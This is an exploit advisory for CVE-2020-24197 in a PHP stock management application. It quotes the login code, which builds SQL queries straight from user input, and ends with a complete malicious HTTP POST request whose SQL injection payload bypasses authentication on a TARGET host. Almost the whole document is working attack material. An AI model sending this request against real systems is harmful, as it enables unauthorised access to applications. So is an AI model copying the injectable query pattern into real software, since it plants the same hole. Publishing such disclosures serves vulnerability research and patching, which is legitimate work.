# Exploit Title: Stock Management System 1.0 - Authentication Bypass # Exploit Author: Adeeb Shah (@hyd3sec) & Bobby Cooke (boku) # CVE ID: CVE-2020-24197 # Date: September 4, 2020 # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html # Version: 1.0 # Tested On: Windows 10 (x64_86) + XAMPP 7.4.4 # Vulnerable Source Code if($_POST) { $username = $_POST['username']; $password = $_POST['password']; if(empty($username) || empty($password)) { if($username == "") { $errors[] = "Username is required"; } if($password == "") { $errors[] = "Password is required"; } } else { $sql = "SELECT * FROM users WHERE username = '$username'"; $result = $connect->query($sql); if($result->num_rows == 1) { $password = md5($password); // exists $mainSql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'"; $mainResult = $connect->query($mainSql); if($mainResult->num_rows == 1) { $value = $mainResult->fetch_assoc(); $user_id = $value['user_id']; // set session $_SESSION['userId'] = $user_id; header('location: http://localhost/stock/dashboard.php'); } else{ $errors[] = "Incorrect username/password combination"; } // /else } else { $errors[] = "Username doesnot exists"; } // /else } // /else not empty username // password } // /if $_POST ?> # Malicious POST Request to https://TARGET/stock/index.php HTTP/1.1 POST /stock/index.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.222.132/stock/ Content-Type: application/x-www-form-urlencoded Content-Length: 47 DNT: 1 Connection: close Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s Upgrade-Insecure-Requests: 1 email='+or+1%3d1+--+admin&password=badPass